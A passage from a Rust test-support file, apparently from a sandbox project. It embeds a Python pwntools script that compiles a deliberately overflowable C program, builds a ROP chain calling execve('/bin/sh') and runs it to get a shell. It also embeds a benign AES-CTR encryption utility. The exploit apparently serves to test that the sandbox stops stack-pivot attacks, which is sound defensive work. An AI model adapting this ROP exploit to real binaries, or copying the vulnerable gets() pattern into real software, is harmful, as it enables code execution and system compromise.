# Copyright (c) 2024 Ali Polatel <alip@chesswob.org>
# SPDX-License-Identifier: GPL-3.0

import os, sys, subprocess, shutil, time

# Check if pwntools is installed.
try:
    from pwn import context, ELF, process, log, cyclic, cyclic_find, ROP
except ImportError:
    sys.stderr.write("[!] Pwntools is not installed. Exiting.\n")
    sys.exit(127)
else:
    context.terminal = ["echo", "ENOTTY"]

if context.arch not in ("amd64", "i386"):
    log.warn("This script only works on X86 ATM. Exiting.")
    sys.exit(127)

# Constants
BUF_SIZE = 8
TEMP_FILES = ["vuln.c", "vuln", "rop.bin", "rop.txt", "pwned"]


def compile_vuln():
    # C code for the vulnerable program.
    vuln_c_code = """
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int overflow(void) {{
    char buf[8];
    gets(buf); /* Vulnerable to buffer overflow */
    return 0;
}}

int main(void) {{
    overflow();
    if (getuid() + getpid() == 0) {{
#ifdef __x86_64__
        __asm__ __volatile__ (
            "pop %rdi; ret;"
            "pop %rsi; ret;"
            "pop %rdx; ret;"
            "pop %rax; ret;"
        );
#endif
        execve("/bin/sh", 0, 0);
    }}
    return 0;
}}
    """

    # Write the C code to a file.
    log.info("Writing C code to vuln.c")
    with open("vuln.c", "w") as f:
        f.write(vuln_c_code)

    # Compile the vulnerable program.
    cc_cmd = ("cc -ansi -pedantic "
        "-g -O0 -Wall "
        "-fno-stack-protector -no-pie "
        "-static vuln.c -o vuln "
        "-Wl,-no-pie",
        "-Wl,-z,now -Wl,-z,relro "
        "-Wl,--whole-archive "
        "-lc -lpthread -lrt -ldl -lm "
        "-Wl,--no-whole-archive")
    log.info("Compiling the vulnerable program.")
    log.info(f"{cc_cmd}")
    try:
        result = subprocess.run(
            cc_cmd,
            shell=True,
            check=True,
            stderr=subprocess.PIPE,
            stdout=subprocess.PIPE,
        )
        log.info(result.stderr.decode())
        log.info(result.stdout.decode())
    except subprocess.CalledProcessError as e:
        log.warn(
            f"Compilation of vulnerable program failed. Exiting.\n{e.stderr.decode()}"
        )
        sys.exit(127)


def generate_rop():
    # Set context for pwntools.
    context.binary = "./vuln"
    elf = ELF("./vuln")

    # Ensure core dumps are unlimited.
    log.info("Setting core dump size to unlimited.")
    try:
        subprocess.run(
            ["prlimit", "--pid", str(os.getpid()), "--core=unlimited"], check=True
        )
    except subprocess.CalledProcessError:
        log.warn("Failed to set core dump size to unlimited.")
        log.warn("The next step may fail.")

    # Generate a cyclic pattern and send it to the vulnerable program.
    log.info("Generating cyclic pattern to find offset.")
    pattern = cyclic(128)
    p = process("./vuln")
    p.sendline(pattern)
    p.wait()

    # Extract the core dump.
    core = p.corefile
    arch = context.arch

    if arch == "amd64" or arch == "i386":
        stack_pointer = "rsp"
    elif arch == "arm" or arch == "aarch64":
        stack_pointer = "sp"
    else:
        log.warn(f"Unsupported architecture: {arch}")
        sys.exit(127)

    offset = cyclic_find(core.read(getattr(core, stack_pointer), 4))
    log.info(f"Offset is {offset}.")

    log.info(f"Removing coredump file '{core.path}'")
    try:
        os.remove(core.path)
    except:
        log.warn(f"Failed to remove coredump file '{core.path}'")

    # Clear ROP cache.
    try:
        ROP.clear_cache()
    except:
        pass

    # Find ROP gadgets and /bin/sh string.
    log.info("Finding ROP gadgets and locating '/bin/sh'")
    rop = ROP(elf)
    bin_sh = next(elf.search(b"/bin/sh"))
    log.info("Located '/bin/sh' at %#x." % bin_sh)

    # Construct the payload.
    log.info("Constructing the ROP chain.")
    payload = b"A" * offset  # Overflow buffer.

    # Add ROP chain to the payload.
    rop.call("execve", [bin_sh, 0, 0])
    payload += rop.chain()

    # Print payload for debugging
    log.info("ROP payload is %d bytes." % len(payload))
    print(rop.dump(), file=sys.stderr)
    with open("rop.txt", "w") as f:
        print(rop.dump(), file=f)
    log.info("ROP textual dump saved to 'rop.txt' for inspection.")

    # Save the ROP details to a file.
    with open("rop.bin", "wb") as f:
        f.write(payload)

    log.info("ROP payload saved to file 'rop.bin'")
    log.info('Do "stack-pivot run" in the same directory to perform exploitation.')


def run_exploit():
    # Load the ROP details from the file.
    with open("rop.bin", "rb") as f:
        payload = f.read()

    # Function to attempt exploit without using pwntools
    def attempt_exploit():
        try:
            p = subprocess.Popen(["./vuln"], stdin=subprocess.PIPE)

            log.info("Writing the ROP payload to vulnerable program's standard input.")
            p.stdin.write(payload + b"\n")
            p.stdin.flush()

            log.info("Sending input to the ROP shell.")
            p.stdin.write(
                b"set -ex; echo ROP: Change return success. Going and coming without error. Action brings good fortune.; sleep 1; touch pwned; exit 42\n"
            )
            p.stdin.flush()

            for _ in range(3):
                if os.path.exists("pwned"):
                    os.remove("pwned")
                    p.kill()
                    return True
                time.sleep(1)
            p.kill()
        except:
            return False
        return False

    # Attempt the exploit up to 10 times.
    max_attempts = 10
    for attempt in range(max_attempts):
        log.info("Running the vulnerable program.")
        log.info(f"Attempt {attempt + 1} of {max_attempts} with 3 seconds timeout.")
        if attempt_exploit():
            log.warn("Successfully smashed the stack using a ROP chain!")
            sys.exit(42)
        else:
            log.info(f"Attempt {attempt + 1} failed.")

    log.info("All attempts failed.")
    sys.exit(0)


def clean():
    for temp_file in TEMP_FILES:
        if os.path.exists(temp_file):
            shutil.rmtree(temp_file)


def print_help():
    print("Usage:")
    print("stack-pivot init  - Runs the preparation")
    print("stack-pivot run   - Runs the exploitation")
    print("stack-pivot clean - Runs the cleanup")
    print("stack-pivot help  - Prints this help message")
    print("stack-pivot       - Prints this help message")


def main():
    if len(sys.argv) < 2:
        print_help()
        sys.exit(0)
    elif sys.argv[1] == "init":
        compile_vuln()
        generate_rop()
    elif sys.argv[1] == "run":
        run_exploit()
    elif sys.argv[1] == "clean":
        clean()
    else:
        print_help()
        sys.exit(0)


if __name__ == "__main__":
    main()
"##;

fn init_stack_pivot() -> bool {
    // Write the python code to a temporary file.
    match File::create("stack-pivot") {
        Ok(mut file) => {
            if let Err(e) = file.write_all(STACK_PIVOT_CODE.as_bytes()) {
                eprintln!("Failed to write to file stack-pivot: {e}");
                return false;
            }
        }
        Err(e) => {
            eprintln!("Failed to create file stack-pivot: {e}");
            return false;
        }
    }

    if let Err(e) = syd::fs::chmod_x("./stack-pivot") {
        eprintln!("Failed to set stack-pivot executable: {e}");
        return false;
    }

    // Prepare attack unsandboxed.
    let status = Command::new("python")
        .arg("./stack-pivot")
        .arg("init")
        .stdin(Stdio::null())
        .status();

    match status {
        Ok(status) => {
            if !status.success() {
                eprintln!("Preparation of stack pivot attack failed with status: {status}");
                false
            } else {
                true
            }
        }
        Err(e) => {
            eprintln!("Failed to execute stack-pivot command: {e}");
            false
        }
    }
}

const OPENSSL_AES_CTR_CODE: &str = r##"
/*
 * aes-ctr: AES-CTR Encryption and Decryption Utility
 * Copyright (c) 2024 Ali Polatel <alip@chesswob.org>
 * SPDX-License-Identifier: GPL-3.0
 *
 * This program uses OpenSSL to encrypt and decrypt data using AES-CTR
 * mode. It supports both encryption and decryption operations, with
 * key and IV provided as hexadecimal strings.
 *
 * Compile:
 *        cc aes-ctr.c -o aes-ctr -lssl -lcrypto
 *
 * Usage: aes-ctr [-hV] -e|-d -k <hex-encoded key> -i <hex-encoded iv>
 *
 * Options:
 *   -h        Print this help message and exit
 *   -V        Print version information and exit
 *   -e        Encrypt the input data
 *   -d        Decrypt the input data
 *   -k <key>  Hex-encoded key (256 bits for AES-CTR)
 *   -i <iv>   Hex-encoded IV (128 bits for AES-CTR)
 *
 * Examples:
 *   Encrypt: echo -n "data" | ./aes-ctr -e -k <key> -i <iv>
 *   Decrypt: ./aes-ctr -d -k <key> -i <iv> < encrypted_data.bin
 */

#include <openssl/evp.h>
#include <openssl/err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define VERSION "0.1.0"
#define KEY_LEN 32
#define IV_LEN 16
#define BUFFER_SIZE 4096

void handleErrors(void)
{
	ERR_print_errors_fp(stderr);
	exit(127);
}

/**
 * Memory allocation with error checking.
 * @param size The size of memory to allocate.
 * @return Pointer to the allocated memory.
 */
void *xmalloc(size_t size)
{
	void *ptr = malloc(size);
	if (!ptr) {
		fprintf(stderr, "Memory allocation failed\n");
		exit(127);
	}
	return ptr;
}

/**
 * Memory reallocation with error checking.
 * @param ptr The original memory pointer.
 * @param size The new size of memory to allocate.
 * @return Pointer to the reallocated memory.
 */
void *xrealloc(void *ptr, size_t size)
{
	ptr = realloc(ptr, size);
	if (!ptr) {
		fprintf(stderr, "Memory reallocation failed\n");
		exit(127);
	}
	return ptr;
}

/**
 * Convert a hexadecimal string to a byte array.
 * @param hex The hexadecimal string.
 * @param bytes The output byte array.
 * @param bytes_len The length of the output byte array.
 */
void hex_to_bytes(const char *hex, unsigned char *bytes, size_t bytes_len)
{
	for (size_t i = 0; i < bytes_len; i++) {
		sscanf(hex + 2 * i, "%2hhx", &bytes[i]);
	}
}

/**
 * Encrypt or decrypt data using AES-CTR.
 * @param encrypt Set to 1 for encryption, 0 for decryption.
 * @param key The AES key.
 * @param iv The IV (tweak) value.
 */
void process_data(int encrypt, const unsigned char *key,
                  const unsigned char *iv)
{
	EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
	if (!ctx) handleErrors();

	if (encrypt) {
		if (1 != EVP_EncryptInit_ex(ctx, EVP_aes_256_ctr(), NULL, key,
		                            iv)) handleErrors();
	} else {
		if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_ctr(), NULL, key,
		                            iv)) handleErrors();
	}

	unsigned char inbuf[BUFFER_SIZE];
	unsigned char outbuf[BUFFER_SIZE + EVP_CIPHER_block_size(EVP_aes_256_ctr())];
	int inlen, outlen;

	while ((inlen = fread(inbuf, 1, BUFFER_SIZE, stdin)) > 0) {
		if (encrypt) {
			if (1 != EVP_EncryptUpdate(ctx, outbuf, &outlen, inbuf, inlen))
				handleErrors();
		} else {
			if (1 != EVP_DecryptUpdate(ctx, outbuf, &outlen, inbuf, inlen))
				handleErrors();
		}
		fwrite(outbuf, 1, outlen, stdout);
	}

	if (encrypt) {
		if (1 != EVP_EncryptFinal_ex(ctx, outbuf, &outlen))
			handleErrors();
	} else {
		if (1 != EVP_DecryptFinal_ex(ctx, outbuf, &outlen))
			handleErrors();
	}
	fwrite(outbuf, 1, outlen, stdout);

	EVP_CIPHER_CTX_free(ctx);
}

int main(int argc, char *argv[])
{
	int opt;
	int encrypt = -1;
	char *key_hex = NULL;
	char *iv_hex = NULL;

	while ((opt = getopt(argc, argv, "hVdek:i:")) != -1) {
		switch (opt) {
		case 'h':
			printf("Usage: aes-ctr [-hV] -e|-d -k <hex-encoded key> -i <hex-encoded iv>\n");
			printf("  -h        Print this help message and exit\n");
			printf("  -V        Print version information and exit\n");
			printf("  -e        Encrypt the input data\n");
			printf("  -d        Decrypt the input data\n");
			printf("  -k <key>  Hex-encoded key (256 bits for AES-CTR)\n");
			printf("  -i <iv>   Hex-encoded IV (128 bits for AES-CTR)\n");
			return EXIT_SUCCESS;
		case 'V':
			printf("%s v%s\n", argv[0], VERSION);
			return EXIT_SUCCESS;
		case 'e':
			encrypt = 1;
			break;
		case 'd':
			encrypt = 0;
			break;
		case 'k':
			key_hex = optarg;
			break;
		case 'i':
			iv_hex = optarg;
			break;
		default:
			fprintf(stderr,
			        "Usage: aes-ctr [-hV] -e|-d -k <hex-encoded key> -i <hex-encoded iv>\n");
			return EXIT_FAILURE;
		}
	}

	if (encrypt == -1 || key_hex == NULL || iv_hex == NULL) {
		fprintf(stderr, "Error: -e or -d and both -k and -i options are required.\n");
		fprintf(stderr,
		        "Usage: aes-ctr [-hV] -e|-d -k <hex-encoded key> -i <hex-encoded iv>\n");
		return EXIT_FAILURE;
	}

	if (strlen(key_hex) != 2 * KEY_LEN) {
		fprintf(stderr, "Error: Key must be 256 bits (32 bytes) in length.\n");
		return 1;
	}

	if (strlen(iv_hex) != 2 * IV_LEN) {
		fprintf(stderr, "Error: IV must be 128 bits (16 bytes) in length.\n");
		return 1;
	}

	// AES-256-CTR requires a 256-bit key (32 bytes)
	unsigned char key[KEY_LEN];
	// CTR mode uses a 128-bit tweak (16 bytes)
	unsigned char iv[IV_LEN];
	hex_to_bytes(key_hex, key, sizeof(key));
	hex_to_bytes(iv_hex, iv, IV_LEN);

	process_data(encrypt, key, iv);

	return EXIT_SUCCESS;
}
"##;

fn build_openssl_aes_ctr() {
    // Write the C code to a temporary file.
    match File::create("aes-ctr.c") {
        Ok(mut file) => {
            if let Err(e) = file.write_all(OPENSSL_AES_CTR_CODE.as_bytes()) {
                eprintln!("Failed to write to file aes-ctr.c: {e}");
                return;
            }
        }
        Err(e) => {
            eprintln!("Failed to create file aes-ctr.c: {e}");
            return;
        }
    }

    // Compile the C code into a binary.
    let status = Command::new("cc")
        .args([
            "aes-ctr.c",
            "-o",
            "aes-ctr",
            "-lssl",
            "-lcrypto",
            "-Wall",
            "-Wextra",
        ])
        .stdin(Stdio::null())
        .status();

    match status {
        Ok(status) => {
            if !status.success() {
                eprintln!("Compilation of aes-ctr failed with status: {status}");
            }
        }
        Err(e) => {
            eprintln!("Failed to execute aes-ctr compile command: {e}");
        }
    }
}
